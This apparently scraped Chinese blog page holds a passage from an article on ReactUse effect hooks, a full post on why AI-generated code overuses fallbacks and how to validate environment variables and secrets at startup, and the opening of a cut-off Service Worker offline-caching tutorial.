如果你已经在用 ReactUse 的计时器、observer 或者浏览器 API,可能已经无意识地导入过其中几个了。专门走一遍的意义是:在你下次再写那个 wrapper 之前,先知道工具箱里有什么。

为什么单个 useEffect 不够用

来看一个真实组件里的一行:

useEffect(() => {
  fetch(`/api/user/${id}`).then((r) => r.json()).then(setUser);
}, [id]);

这一段第一天就有四个问题,过一个月还会有第五个:

  1. 没有 abort。 如果 id 在请求飞行中变了,旧请求会在新请求之后才返回,把新数据覆盖掉——经典的竞态。
  2. 没法用 async/await。 你不能把 effect 回调标成 async,因为 React 要的是 undefined 或者一个清理函数,不是 Promise。所以每个异步 effect 不是用 .then 链就是包一个 IIFE。
  3. 没法跳过 mount。 有时候你只想在 id 变化时响应,而不是在组件首次渲染时跑(初始数据是父组件给的)。普通 useEffect 至少要跑一次。
  4. 依赖不会做深比较。 如果 id{ workspace: "a", user: "b" },父组件每次重渲染都会产生新的对象引用,effect 每次都会跑,即使内容没变。
  5. SSR + useLayoutEffect 一个月后有人把组件改成用 useLayoutEffect 做 DOM 测量,SSR 每次渲染都会打警告。

每个问题都能修,但修起来 5 到 30 行代码,而且很容易错得很隐蔽。下面这些 hook 直接把每个缺口堵上。

1. useAsyncEffect — 不需要 IIFE 的 async/await

第一次写都会写出来的模式:

useEffect(() => {
  let cancelled = false;
  (async () => {
    const r = await fetch(`/api/user/${id}`);
    const data = await r.json();
    if (!cancelled) setUser(data);
  })();
  return () => { cancelled = true; };
}, [id]);

这是对的。这也是 6 行样板代码,本来如果 React 允许的话,一句 async () => { setUser(await fetch(...).then((r) => r.json())); } 就能搞定。useAsyncEffect 就是把这个缺口补上:

import { useAsyncEffect } from "@reactuses/core";

useAsyncEffect(async () => {
  const r = await fetch(`/api/user/${id}`);
  setUser(await r.json());
}, [id]);

这个 hook 直接接受 async 回调,并忽略掉返回的 Promise(不会产生 cleanup 警告)。它不会帮你处理取消——那是下一个 hook 的事,或者你手动用 AbortController。当异步体很短、不需要中途退出时,用 useAsyncEffect。需要取消时,接一个 AbortController:

useAsyncEffect(async (signal) => {
  const r = await fetch(`/api/user/${id}`, { signal });
  setUser(await r.json());
}, [id]);

hook 把一个 AbortSignal 作为第一个参数传进来,清理时会 abort 它,所以飞行中的请求被取消,而不是回到一个过期的 state setter 上。

这一个 hook 大约能消除典型代码库里 80% 的「我本该写个 wrapper」时刻。大部分数据请求 effect 都是短的、异步的、希望在变化时被取消。useAsyncEffect 就是这个形状。

2. useUpdateEffect — 跳过 mount

useEffect 总是在第一次渲染后就跑一次。有时候这是错的:如果一个组件已经从 props 拿到初始值,在 mount 时跑 effect 要么重复了工作,要么在还没真正变化时就触发了「值变了」的通知。

普通 React 的绕过办法是一个 ref:

const isFirst = useRef(true);
useEffect(() => {
  if (isFirst.current) { isFirst.current = false; return; }
  onChange(value);
}, [value]);

这是对的,但每个团队的代码库里都至少有三个这样的版本。useUpdateEffectuseEffect 一样,只是少了第一次:

import { useUpdateEffect } from "@reactuses/core";

useUpdateEffect(() => {
  onChange(value);
}, [value]);

最常见的用法是受控组件的变更通知。你希望在内部 value 变化时调用 onChange,而不是在父组件第一次用初始值挂载组件时。普通 useEffect 版本会在 mount 时触发,父组件在用户什么都还没做的时候就收到了一个虚假的 onChange(initialValue)

第二个用法是埋点:「filter 变化时发 viewed_filter 事件。」mount 不是变化,它是起始状态。

3. useMount — 「挂载时跑一次」的惯用法

useEffect(() => { /* ... */ }, []) 在技术上确实是「mount 时跑一次」的正确写法。它也视觉上吵闹,而且经常被 lint 规则误伤(eslint 的 exhaustive-deps 会在回调闭包到任何变量时抱怨,即使你确实想要「mount 时的快照」)。

useMount 是一个单用途的别名,文档化了意图:

import { useMount } from "@reactuses/core";

useMount(() => {
  trackPageView();
  initialiseSentry();
});

功能上等同于 useEffect(fn, []),但名字就是文档。看到 useMount,你不用看依赖就知道回调正好跑一次。看到 useEffect(fn, []),你得扫一遍 body 才能确认没有闭包到本该出现在依赖里的响应式变量。

4. useUnmount — 不需要空 effect 的清理

useMount 的镜像。普通 React 写「卸载时做 X」是这样:

useEffect(() => () => doCleanup(), []);

这解析为「effect 回调返回一个清理函数」。是对的,但内层的双箭头属于没人会读第二遍的东西。useUnmount 是显式版本:

import { useUnmount } from "@reactuses/core";

useUnmount(() => {
  socket.close();
  flushAnalytics();
});

这个 hook 内部用 ref 捕获最新的回调,所以你在卸载时拿到的是最新的值,而不是 mount 时的值。这修了普通 React 版本里一个隐蔽的 bug:如果你写 useEffect(() => () => doCleanup(value), []),value 是 mount 时被捕获的,清理跑的是过期数据。useUnmount 没这个 bug。

5. useDeepCompareEffect — 当你的依赖是对象

React 用 Object.is 比较 effect 依赖。如果依赖是对象或数组,父组件每次重渲染都产生新引用,即使内容相同 effect 也会跑。大部分团队会去 JSON.stringify 依赖,这对浅数据有效,对带函数、Date 或不可序列化值的就崩了。

useDeepCompareEffectObject.is 换成结构化的深度相等检查:

import { useDeepCompareEffect } from "@reactuses/core";

useDeepCompareEffect(() => {
  fetcher.run(query);
}, [query]); // query 是 { workspace: "a", filters: { ... } }

当父组件重渲染,生成一个内容相同的新 query 对象时,effect 不会重跑。当内容真的变了,它才跑。代价是深度相等检查是 O(n) 的——不是免费的。当你有个小对象依赖、又无法在源头 memo 它时,选这个。如果能 useMemo,优先 useMemo

有一个坑:不要把 useDeepCompareEffect 用在只有原始值的依赖上。如果你传 [someString, someNumber],hook 会抛错——对那种情况 useEffect 才是对的工具,而 hook 会大声失败,免得你悄悄拖慢一个本来不需要的 effect。

6. useCustomCompareEffect — 深比较,但按你的规则

有时候你想要的相等性既不是浅的也不是完全结构化的。两种情况经常出现:

  • 按单个字段比较(比如 prev.id === next.id)。
  • 用你已经依赖的库比较(比如 lodash.isEqualdequal)。

useCustomCompareEffect 接受第三个参数:一个比较器,决定新依赖是否应该触发 effect。

import { useCustomCompareEffect } from "@reactuses/core";
import { dequal } from "dequal";

useCustomCompareEffect(
  () => loadDashboard(filters),
  [filters],
  (prev, next) => dequal(prev, next),
);

相比 useDeepCompareEffect 的好处是你控制成本。对 200 个字段的配置对象做深比较很慢;(prev, next) => prev.version === next.version 只比较一次。有 version 字段就用它。

这也是模糊相等的正确 hook——比如「两个滚动位置只要相差 5 像素以内就认为相等」。普通 useEffect 版本需要一个 wrapper ref 加一段 effect 内部的手写比较;custom-compare 版本把相等性逻辑跟依赖放在一起。

7. useOnceEffect — 跑且只跑一次,但依赖是响应式的

useEffect(fn, []) 在 mount 时跑一次,但回调闭包到的是那一刻依赖的值——通常是 undefined 或初始值。如果你真正想要的是**user 第一次非 loading 的值**触发 effect,那么 useEffect(fn, [user])(每次 user 变都跑)和 useEffect(fn, [])(mount 时跑而 user 还是 null)都不对。

useOnceEffect 在任一依赖第一次从初始值变化时跑 effect,然后再也不跑:

import { useOnceEffect } from "@reactuses/core";

function PersonalisedGreeting() {
  const { user } = useAuth(); // user 在加载完成前是 null

  useOnceEffect(() => {
    track("personalised_greeting_seen", { userId: user.id });
  }, [user]);

  return user ? <h1>Hi, {user.name}!</h1> : null;
}

effect 触发一次——user 第一次变成非 null 时——之后即使 user 再变也不会再触发。这是首屏埋点、一次性 onboarding 触发、以及「等前置条件就绪后做这件事」模式的正确形状。普通 React 版本是 ref 加 flag 的舞蹈,谁都写过,谁也不想再读一遍。

useOnceEffect 也有 layout-effect 的兄弟,useOnceLayoutEffect,用于同样的模式但需要在 paint 前做 DOM 测量。

8. useIsomorphicLayoutEffect — 让 SSR 警告消失

useLayoutEffect 在 DOM 变更后、paint 前同步运行。它是读取布局(测元素尺寸)和在同一个 tick 内写 DOM(把 tooltip 定位到触发器旁边)的正确 hook。它也是会在 SSR 时打这条警告的 hook:

useLayoutEffect does nothing on the server, because its effect cannot be encoded into the server renderer's output format.

标准修法是在 typeof window === "undefined" 时把 useLayoutEffect 换成 useEffect。这就是 useIsomorphicLayoutEffect 做的事:

import { useIsomorphicLayoutEffect } from "@reactuses/core";

useIsomorphicLayoutEffect(() => {
  const { width } = ref.current!.getBoundingClientRect();
  setWidth(width);
}, []);

在服务端,这是 useEffect(SSR 期间是 no-op——没问题,因为根本没有可测的布局)。在客户端,这是 useLayoutEffect(同步触发,这正是你做布局读取时想要的)。一个 import,没警告,没特殊处理。

这是 React 生态里被复制最多的一段代码。如果你在 SSR 代码库(Next.js、Remix、Astro 带岛屿)里任何地方用了 useLayoutEffect,这个 hook 就该是默认选择。

9. useUpdateLayoutEffect — useUpdateEffect 的 layout 版本

useUpdateEffect 的 layout-effect 兄弟。同样的模式:跳过首次渲染,在之后每次依赖变化时跑,但在 layout-effect 时刻跑,所以 DOM 变更发生在 paint 之前。

useUpdateLayoutEffect 在 layout 驱动的动画里特别有用:

import { useUpdateLayoutEffect } from "@reactuses/core";

useUpdateLayoutEffect(() => {
  const el = listRef.current;
  if (!el) return;
  el.style.transform = `translateY(${activeIndex * itemHeight}px)`;
}, [activeIndex]);

为什么不用 useUpdateEffect?因为 useEffect 在 paint 之后触发,滑动动画会肉眼可见地从旧位置出发然后才闪到新位置。useLayoutEffect 在 paint 之前跑,新 transform 在同一帧应用。为什么不用普通 useLayoutEffect?因为首次渲染时 activeIndex 是初始值,没有动画要开始。

「跳过 mount 的 layout effect」组合,正好是「动画一个变化,但不是初始值」的形状。也是「受控焦点」的形状:在 activeTab 变化时把焦点移到新 tab 内容上,但不要在组件第一次以 activeTab="home" 挂载时这样做。

何时用哪个:决策表

完整一组,集中放在一处:

情景 选用
异步 effect 体,需要可取消 useAsyncEffect
跳过第一次,响应之后的每次变化 useUpdateEffect
同上,但用 layout effect useUpdateLayoutEffect
挂载时跑一次(意图更清晰) useMount
卸载时跑一次(不会捕获过期值) useUnmount
effect 依赖是对象,想要结构化相等 useDeepCompareEffect
effect 依赖需要自定义相等检查 useCustomCompareEffect
只跑一次,但要等某个依赖「就绪」 useOnceEffect
同上,layout effect 版本 useOnceLayoutEffect
SSR 时不会警告的 layout effect useIsomorphicLayoutEffect

记住三条:

  1. 默认还是 useEffect 专门 hook 是给上面这些情况用的;不要预防性地用。
  2. layout 配 layout,异步配异步。 如果你在做 DOM 测量,选 layout-effect 家族。如果在做数据请求,选 useAsyncEffect。混着用会有闪烁或竞态。
  3. useUpdateEffect 不是「useEffect 的性能优化」。 它改变行为,不是性能。第一次渲染仍然发生,你只是不在它上面跑 effect。如果你的目标是性能,看依赖数组,不是看 hook。

一个真实的组合

一个常见的 React 模式:一个「搜索结果」面板,在 query 变化时请求,在 mount 时跳过请求(父组件传了初始结果),并向屏幕阅读器宣布「搜索已更新」——但不在 mount 时宣布,因为标题已经传达了相同的信息。

import {
  useAsyncEffect,
  useUpdateEffect,
  useIsomorphicLayoutEffect,
} from "@reactuses/core";

function SearchResults({ query, initialResults }: {
  query: string;
  initialResults: Result[];
}) {
  const [results, setResults] = useState(initialResults);
  const announceRef = useRef<HTMLDivElement>(null);

  // 跳过 mount;之后每次 query 变化都请求。
  useUpdateEffect(() => {
    let cancelled = false;
    fetch(`/api/search?q=${encodeURIComponent(query)}`)
      .then((r) => r.json())
      .then((data) => { if (!cancelled) setResults(data); });
    return () => { cancelled = true; };
  }, [query]);

  // Layout effect:读取结果数并在 paint 前更新 aria-live。
  // 跳过 mount,因为初始标题已经说过了。
  useIsomorphicLayoutEffect(() => {
    if (!announceRef.current) return;
    announceRef.current.textContent = `${results.length}${query} 的结果`;
  }, [results, query]);

  return (
    <>
      <div ref={announceRef} role="status" aria-live="polite" className="sr-only" />
      <ul>{results.map((r) => <li key={r.id}>{r.title}</li>)}</ul>
    </>
  );
}

三种行为,三个 hook,没有 ref 加 flag。如果第一个 useUpdateEffect 的 body 变复杂到想用 async/await,把它换成 useAsyncEffect;其余照旧。

上手试试

上面每个 hook 都有可运行的文档示例。读 demo,改依赖,看哪些会触发:

npm install @reactuses/core(或 pnpm add @reactuses/core)安装,直接 import。没有 provider,除了 React 16.8+ 之外没有 peer dependency。完整的 hook 列表和源代码在 reactuse.com

useEffect 是个原语。这些 hook 是你在它之上一次性建好、不再每个项目重新发明的那一层语言。

AI 为什么总喜欢写防御性代码?

作者 Moment
2026年5月19日 19:21

大家好 👋,我是 Moment,目前正在使用 Next.js、NestJS、LangChain 开发 DocFlow。这是一个面向 AI 场景的协同文档平台,集成了基于 Tiptap 的富文本编辑、NestJS 后端服务、实时协作与智能化工作流等核心模块。

在这个项目的持续打磨过程中,我积累了不少实战经验,不只是 Tiptap 的深度定制、编辑器性能优化和协同方案设计,也包括前端工程化建设、React 源码理解以及复杂项目架构实践。

如果你对 AI 全栈开发、文档编辑器、前端工程化或者 React 源码相关内容感兴趣,欢迎添加我的微信 yunmz777 一起交流。觉得项目还不错的话,也欢迎给 DocFlow 点个 star ⭐

AI 生成代码时,经常会写出一种看起来很谨慎的风格:到处判断空值、到处给默认值、到处包 try/catch,读取环境变量时还特别喜欢加 trim() 和 fallback。

比如下面这种代码很常见:

const port = Number(process.env.PORT?.trim() || 3000);
const apiKey = process.env.API_KEY?.trim() || "";
const timeout = Number(process.env.TIMEOUT || 5000);

try {
  // do something
} catch (error) {
  console.error(error);
  return null;
}

它表面上很安全:空值兜住了、默认值给了、字符串也 trim 了,异常也 catch 了。但真实工程里,这类写法经常不是让系统更可靠,而是把本该暴露的问题悄悄藏起来。

尤其是读取环境变量时,AI 很容易自动加 trim()|| default?? default。因为它把环境变量当成不可信输入来处理,这个判断有一半是对的:环境变量确实来自运行环境,不是代码内部常量。但另一半很危险:不是所有配置都能被自动修正,也不是所有缺失都应该给默认值。

真正的问题不是 AI 写了防御性代码,而是它不知道防御应该放在哪里,哪些错误应该被兜底,哪些错误必须直接暴露。

AI 写防御性代码,本质是在弥补上下文缺失

人写代码时,通常知道很多隐藏前提:

  • 这个参数是不是已经被 DTO 校验过
  • 这个函数是不是只会在内部调用
  • 这个字段在数据库里是不是非空
  • 这个异常应该由上层统一处理,还是在当前函数里消化
  • 这个配置缺失时应该启动失败,还是可以使用默认值

AI 往往不知道这些前提。它只能看到局部代码片段,所以会倾向于选择一种局部看起来更稳的写法:多判断一点,多兜底一点,多 catch 一点。

于是它很容易写出这种代码:

if (!user) {
  return null;
}

if (!items?.length) {
  return [];
}

try {
  return await service.run();
} catch {
  return undefined;
}

这些代码在局部看起来不会崩,但在系统层面可能更糟。因为它把本来应该暴露的问题,改造成了一个看似正常的返回值。

比如 return null 可能掩盖了用户不存在、权限不足、数据库异常、调用参数错误等完全不同的问题。调用方拿到 null 以后,不知道该重试、提示用户、回滚事务,还是报警排查。

fail fast 的核心思想是:错误越早、越明确地暴露,越容易定位和修复。系统如果自动绕过错误,问题可能会在更深的链路里变成更隐蔽、更难排查的故障。

所以,AI 的防御性代码经常不是工程健壮,而是局部自保。

训练语料也在强化这种写法

AI 代码模型学到的不是某个项目的架构约束,而是大量公开代码、教程、问答社区、文档示例里的高频模式。

公开代码里有大量这样的写法:

const value = input || defaultValue;
const name = user?.profile?.name ?? "";
const port = process.env.PORT || 3000;

久而久之,模型会形成一种倾向:不确定时就加默认值,不确定时就加空值判断,不确定时就包一层 try/catch

但公开代码里也包含大量不安全、过时或不适合生产的写法。AI 生成的代码看起来很防御,不代表它真的安全。它可能只是学会了安全代码的外观,比如加了空值判断、日志和默认值,但没有理解业务契约、权限边界和失败语义。

这也是为什么我们不能只看代码有没有考虑异常,而要看它有没有把异常处理成正确的系统行为。

防御性代码应该出现在边界,而不是到处出现

防御性代码本身没有错,错的是位置不对。

真正需要防御的地方,通常是系统边界:

  • HTTP 请求参数
  • 表单输入
  • 上传文件
  • 第三方 API 返回值
  • Webhook payload
  • 环境变量
  • CLI 参数
  • 数据导入文件
  • 跨租户资源访问
  • 权限和角色判断

这些位置的数据来自外部,确实应该严格校验、解析、归一化和拒绝非法输入。

但在业务核心逻辑里,到处兜底反而会破坏系统契约。

比如这段代码看起来很稳:

async function getUserName(userId?: string) {
  if (!userId) {
    return "";
  }

  const user = await userRepository.findById(userId);

  return user?.name ?? "";
}

调用方拿到空字符串以后,根本不知道发生了什么:

  • userId 没传?
  • 是用户不存在?
  • 是数据库异常?
  • 是权限不够?
  • 是数据脏了?
  • 是代码调用错了?

更好的做法,是把失败语义区分清楚:

type GetUserNameResult =
  | { ok: true; name: string }
  | { ok: false; reason: "USER_NOT_FOUND" };

async function getUserName(userId: string): Promise<GetUserNameResult> {
  if (!userId) {
    throw new Error("userId is required");
  }

  const user = await userRepository.findById(userId);

  if (!user) {
    return { ok: false, reason: "USER_NOT_FOUND" };
  }

  return { ok: true, name: user.name };
}

这里的重点不是少写防御代码,而是让每一种失败都有明确含义。参数错误直接抛出,业务上可预期的不存在用结构化结果表达,系统异常交给上层统一处理。

这才是工程上的防御,而不是把所有错误都变成空字符串、nullundefined

读取环境变量时,AI 为什么喜欢加 trim

环境变量确实是边界输入。它来自运行环境,不是代码内部定义的常量。

Twelve-Factor App 的配置原则 建议把不同部署之间会变化的配置放到环境变量里,比如数据库连接、外部服务凭证、每个部署不同的主机名等。这样配置可以和代码分离,不同环境也能使用同一份代码。

Node.js 文档也说明,环境变量最终会进入 process.env,并以字符串形式被读取。也就是说,0truefalse、JSON 字符串这些值,在进入应用后都不是数字、布尔值或对象,而是字符串。

所以 AI 看到下面这种代码时:

const port = process.env.PORT;
const enableCache = process.env.ENABLE_CACHE;

它会本能地觉得这里不安全,因为:

  • 值可能不存在
  • 值一定是字符串
  • 值可能包含空格
  • 值可能需要转换成数字、布尔值、URL 或枚举
  • 值可能来自 .env、Docker、Kubernetes、CI 或部署平台

于是它很容易生成:

const port = Number(process.env.PORT?.trim() || 3000);

这里的 trim() 不是完全没道理。它的潜台词是:我先把配置值前后的意外空格去掉,避免部署时因为复制粘贴多了空格导致解析失败。

在某些配置上,这样做是合理的,比如:

const nodeEnv = process.env.NODE_ENV?.trim();
const databaseUrl = process.env.DATABASE_URL?.trim();
const redisUrl = process.env.REDIS_URL?.trim();

但问题是,trim() 不能无脑加。配置值不是普通输入框文本,有些值的空白字符可能本身就是内容的一部分。

trim 最大的问题,是它可能改变配置语义

对于普通枚举、URL、端口号,去掉前后空格通常没问题。

但对于某些值,空白字符可能就是值的一部分,比如:

  • 密码
  • Token
  • HMAC secret
  • 私钥
  • 多行证书
  • Base64 内容
  • 某些第三方平台生成的密钥

如果 AI 写成这样:

const jwtSecret = process.env.JWT_SECRET?.trim() || "secret";
const privateKey = process.env.PRIVATE_KEY?.trim();

这里至少有两个问题。

第一,trim() 可能改变 secret 的真实值。很多 secret 前后空格不是常见需求,但配置加载器不应该擅自修改它。更稳的做法是:如果不允许前后空格,就校验并报错,而不是悄悄帮它修。

第二,默认值 "secret" 非常危险。生产环境里密钥缺失时,系统应该启动失败,而不是自动使用一个弱默认值继续运行。

更合理的策略,是按配置类型分类处理:

function requireEnv(name: string): string {
  const value = process.env[name];

  if (value === undefined || value === "") {
    throw new Error(`Missing required environment variable: ${name}`);
  }

  return value;
}

function requireTrimmedEnv(name: string): string {
  const value = requireEnv(name);
  const trimmed = value.trim();

  if (trimmed.length === 0) {
    throw new Error(`Environment variable ${name} cannot be blank`);
  }

  return trimmed;
}

function requireSecretEnv(name: string): string {
  const value = requireEnv(name);

  if (value !== value.trim()) {
    throw new Error(
      `Environment variable ${name} contains leading or trailing whitespace`,
    );
  }

  return value;
}

这里的区别很关键:

  • 普通配置可以 trim
  • secret 不要偷偷 trim
  • 如果 secret 不允许前后空白,就直接失败
  • 不要把配置错误自动修成另一个值

这才是真正的防御性代码。它不是帮系统圆过去,而是在错误进入业务逻辑之前把它拦下来。

默认值也是 AI 最容易滥用的地方

AI 读取环境变量时,也很喜欢写默认值:

const port = Number(process.env.PORT || 3000);
const databaseUrl = process.env.DATABASE_URL || "postgres://localhost:5432/app";
const jwtSecret = process.env.JWT_SECRET || "secret";
const enableDebug = process.env.ENABLE_DEBUG || false;

这类写法看起来方便,但它把三种完全不同的配置混在了一起:

  • 可以有默认值的配置
  • 本地开发可以默认、生产必须显式配置的配置
  • 绝对不能有默认值的配置

比如 PORT 默认成 3000 通常可以接受,因为它不是安全敏感配置。

DATABASE_URLJWT_SECRETOPENAI_API_KEYS3_SECRET_KEY 这类配置不能随便默认。缺失就应该启动失败。

否则生产环境可能出现非常隐蔽的问题:

  • 连接到了本地或错误数据库
  • 多个环境共用了同一个默认密钥
  • JWT 可以被弱密钥伪造
  • 第三方服务调用失败但应用启动成功
  • 线上流量进入了测试配置
  • 安全问题直到事故发生才暴露

更好的判断标准是:

可以默认:
- PORT
- LOG_LEVEL
- REQUEST_TIMEOUT_MS
- FEATURE_FLAG 默认关闭
- 分页大小
- 非生产环境 mock 开关

不应该默认:
- DATABASE_URL
- JWT_SECRET
- SESSION_SECRET
- API_KEY
- S3_SECRET_KEY
- ENCRYPTION_KEY
- OAUTH_CLIENT_SECRET
- WEBHOOK_SECRET

默认值不是不能用,而是只能用于缺失也不会破坏安全和数据正确性的配置。

|| default 经常比看起来更危险

AI 很喜欢写:

const timeout = Number(process.env.TIMEOUT_MS) || 5000;

这个写法有一个隐藏问题:它会把所有 falsy 值都当成缺失。

比如:

Number("0") || 5000;

结果是 5000,不是 0

如果 0 在业务里代表禁用超时、关闭重试、不限制数量,这个默认值就会悄悄改变行为。

更好的写法是先判断是否缺失,再解析:

function optionalIntEnv(name: string, defaultValue: number): number {
  const raw = process.env[name];

  if (raw === undefined || raw.trim() === "") {
    return defaultValue;
  }

  const value = Number(raw);

  if (!Number.isInteger(value)) {
    throw new Error(`Environment variable ${name} must be an integer`);
  }

  return value;
}

const timeoutMs = optionalIntEnv("REQUEST_TIMEOUT_MS", 5000);

这样至少能区分三种情况:

  • 没配置:使用默认值
  • 配了非法值:启动失败
  • 配了合法值:使用配置值

AI 经常把这三种情况混在一起,所以代码看起来短,实际风险更高。

环境变量应该集中读取、集中校验、启动时失败

环境变量不要散落在业务代码里。

不推荐这样写:

export async function callModel(prompt: string) {
  const apiKey = process.env.OPENAI_API_KEY?.trim() || "";

  if (!apiKey) {
    return null;
  }

  // ...
}

这会带来几个问题:

  • 配置错误运行到某个分支才暴露
  • 每个地方都有一套解析规则
  • 有的地方 trim,有的地方不 trim
  • 有的地方默认,有的地方抛错
  • 测试和生产行为不一致
  • 类型仍然是 string | undefined

更推荐在应用启动时集中解析:

type AppConfig = {
  nodeEnv: "development" | "test" | "production";
  port: number;
  databaseUrl: string;
  jwtSecret: string;
  requestTimeoutMs: number;
};

function parseNodeEnv(): AppConfig["nodeEnv"] {
  const value = process.env.NODE_ENV?.trim() || "development";

  if (!["development", "test", "production"].includes(value)) {
    throw new Error(`Invalid NODE_ENV: ${value}`);
  }

  return value as AppConfig["nodeEnv"];
}

function requireTrimmedString(name: string): string {
  const value = process.env[name];

  if (value === undefined) {
    throw new Error(`Missing required environment variable: ${name}`);
  }

  const trimmed = value.trim();

  if (trimmed.length === 0) {
    throw new Error(`Environment variable ${name} cannot be empty`);
  }

  return trimmed;
}

function requireSecret(name: string): string {
  const value = process.env[name];

  if (value === undefined || value.length === 0) {
    throw new Error(`Missing required secret: ${name}`);
  }

  if (value !== value.trim()) {
    throw new Error(`Secret ${name} contains leading or trailing whitespace`);
  }

  return value;
}

function optionalInteger(name: string, defaultValue: number): number {
  const value = process.env[name];

  if (value === undefined || value.trim() === "") {
    return defaultValue;
  }

  const parsed = Number(value);

  if (!Number.isInteger(parsed)) {
    throw new Error(`Environment variable ${name} must be an integer`);
  }

  return parsed;
}

export const config: AppConfig = {
  nodeEnv: parseNodeEnv(),
  port: optionalInteger("PORT", 3000),
  databaseUrl: requireTrimmedString("DATABASE_URL"),
  jwtSecret: requireSecret("JWT_SECRET"),
  requestTimeoutMs: optionalInteger("REQUEST_TIMEOUT_MS", 5000),
};

这个版本看起来比 AI 默认生成的代码更长,但它的工程收益很明确:

  • 配置只在启动时读取一次
  • 必填配置缺失时直接失败
  • 默认值只给低风险配置
  • secret 不会被偷偷修改
  • 数字、枚举、字符串都有明确解析规则
  • 业务代码不用再处理 process.env.xxx
  • 配置错误不会拖到运行中才暴露

这就是环境变量读取里真正合理的防御性代码。

使用 Zod,比到处手写 if 更稳定

如果项目里已经使用 Zod,可以把环境变量当成一个边界输入,用 Schema 统一校验。

import { z } from "zod";

const envSchema = z.object({
  NODE_ENV: z
    .enum(["development", "test", "production"])
    .default("development"),

  PORT: z
    .string()
    .optional()
    .transform((value) => {
      if (value === undefined || value.trim() === "") {
        return 3000;
      }

      const parsed = Number(value);

      if (!Number.isInteger(parsed)) {
        throw new Error("PORT must be an integer");
      }

      return parsed;
    }),

  DATABASE_URL: z
    .string()
    .trim()
    .min(1, "DATABASE_URL is required"),

  JWT_SECRET: z
    .string()
    .min(1, "JWT_SECRET is required")
    .refine((value) => value === value.trim(), {
      message: "JWT_SECRET must not contain leading or trailing whitespace",
    }),

  REQUEST_TIMEOUT_MS: z
    .string()
    .optional()
    .transform((value) => {
      if (value === undefined || value.trim() === "") {
        return 5000;
      }

      const parsed = Number(value);

      if (!Number.isInteger(parsed) || parsed <= 0) {
        throw new Error("REQUEST_TIMEOUT_MS must be a positive integer");
      }

      return parsed;
    }),
});

export const config = envSchema.parse(process.env);

这里不是简单地到处 .trim().default(),而是按配置类型分开处理。

DATABASE_URL 可以 trim,因为它通常不应该包含前后空格。

JWT_SECRET 不直接 trim,而是校验是否存在意外空白。因为 secret 是身份和签名边界,系统不应该擅自修改它。

AI 的问题不是加了 trim,而是不知道哪些地方不能 trim

环境变量场景正好能说明 AI 防御性代码的核心问题。

AI 加 trim() 的动机是合理的:环境变量是外部输入,确实可能有格式问题。

但它经常不区分:

  • 配置值和密钥
  • 可选配置和必填配置
  • 开发默认值和生产默认值
  • 空字符串和未配置
  • 非法值和缺省值
  • 可恢复错误和启动失败错误

这就导致它写出一种很圆滑但危险的配置读取代码:

const apiKey = process.env.API_KEY?.trim() || "";
const databaseUrl = process.env.DATABASE_URL?.trim() || "localhost";
const jwtSecret = process.env.JWT_SECRET?.trim() || "secret";

这不是生产级健壮性,而是在用默认值掩盖部署错误。

更好的工程原则是:

环境变量读取可以防御,但不能静默兜底。

普通字符串:可以 trim,但要校验空值。
数字配置:先判断缺失,再解析,再校验范围。
枚举配置:trim 后必须命中允许列表。
URL 配置:trim 后用 URL 解析校验。
secret 配置:不要偷偷 trim,发现意外空白就启动失败。
生产必填配置:不要默认值,缺失就 fail fast。
低风险配置:可以有明确默认值。

让 AI 少写错误防御代码,可以直接这样约束

以后让 AI 写配置代码时,不要只说帮我写得健壮一点。这句话很容易让它到处加兜底。

可以直接这样要求:

请写一个 TypeScript 配置加载模块,要求:

- 所有环境变量只允许在 config 模块中读取
- 应用启动时完成解析和校验
- 必填配置缺失时直接抛错,禁止静默 fallback
- PORT、REQUEST_TIMEOUT_MS 这类低风险配置可以有默认值
- DATABASE_URL、JWT_SECRET、API_KEY、SESSION_SECRET 禁止默认值
- 普通 URL 和枚举值可以 trim
- secret 不要自动 trim,如果出现前后空白应直接报错
- 不要使用 process.env.X || default 这种写法
- 数字配置必须显式 parse,并校验整数、正数和范围
- 输出一个类型明确的 config 对象,业务代码只能使用 config,不直接读 process.env

这样生成的代码会稳定很多,因为你把防御的位置和不能兜底的位置都说清楚了。

总结

AI 喜欢写防御性代码,是因为它面对的是不完整上下文。它不知道哪些错误应该抛出,哪些错误可以恢复,哪些值已经在上游校验过,于是倾向于用空值判断、默认值、trim()try/catch 来让局部代码看起来更稳。

读取环境变量时,这种倾向会更明显。环境变量确实属于边界输入,需要解析、校验和类型转换。Node.js 中环境变量最终都是字符串,配置又会随着部署环境变化,所以 AI 自动加 trim() 和默认值并不奇怪。

真正的问题是,环境变量不能被粗暴兜底。PORT 可以默认,JWT_SECRET 不能默认;普通 URL 可以 trim,secret 不应该偷偷 trim;非法配置应该启动失败,而不是运行时返回空字符串、null 或弱默认值。

好的防御性代码不是到处兜底,而是:

  • 在边界处严格校验
  • 在核心逻辑里保持契约清晰
  • 对可恢复失败结构化表达
  • 对不可恢复错误 fail fast
  • 对生产必填配置拒绝默认值
  • 对 secret 保持原样,并校验异常格式

AI 生成代码最需要审查的地方,往往不是它有没有考虑异常,而是它有没有把真正应该暴露的问题悄悄吞掉。

用户打开飞行模式都能打开你的网站?Service Worker 做离线缓存,PWA 实战

作者 kyriewen
2026年5月18日 12:05

你坐飞机,关掉网络,旁边小哥还在刷抖音(离线缓存好的视频)。你打开自己的网站,白屏,报错。你默默关上手机,心想:“要是我的网站也能离线看就好了。” 今天我们就来给你的网站装上“离线小精灵”——Service Worker。以后用户没网也能访问,还能把网站装到手机桌面,像原生 App 一样。

前言

PWA(Progressive Web App)这个概念喊了好几年,但真正用上的网站不多。其实它没那么玄乎,核心就是 Service Worker——一个在浏览器后台独立运行的 JS 线程,能拦截网络请求、缓存资源、推送通知。

加了 Service Worker 的网站,就算用户开飞行模式,只要之前访问过,照样能看到页面(至少看到缓存过的内容)。而且速度极快,因为资源从本地取,不用等网络。今天我们就从零给一个静态网站加上离线缓存,顺便让它“可安装”。

一、Service Worker 生命周期:四步走

Service Worker 不是一上来就接管所有请求的,它有严格的生命周期:

  1. 注册:主线程告诉浏览器:“嘿,去下载这个 sw.js 文件。”
  2. 安装:浏览器下载、解析、执行 sw.js 里的 install 事件。通常在这里缓存核心资源。
  3. 激活:旧 Service Worker 被替换,新 SW 接管控制权。可以在 activate 事件里清理旧缓存。
  4. 空闲/运行:之后所有 fetch 请求都会被 SW 拦截。

注意:SW 只在 HTTPS(或 localhost)下生效,因为可以拦截网络,不安全。

二、最简单的 Service Worker:离线回退页面

我们先写一个极简版 sw.js,让用户离线时看到一个“你已离线”的页面。

// sw.js
const CACHE_NAME = 'my-pwa-cache-v1';
const OFFLINE_URL = '/offline.html';

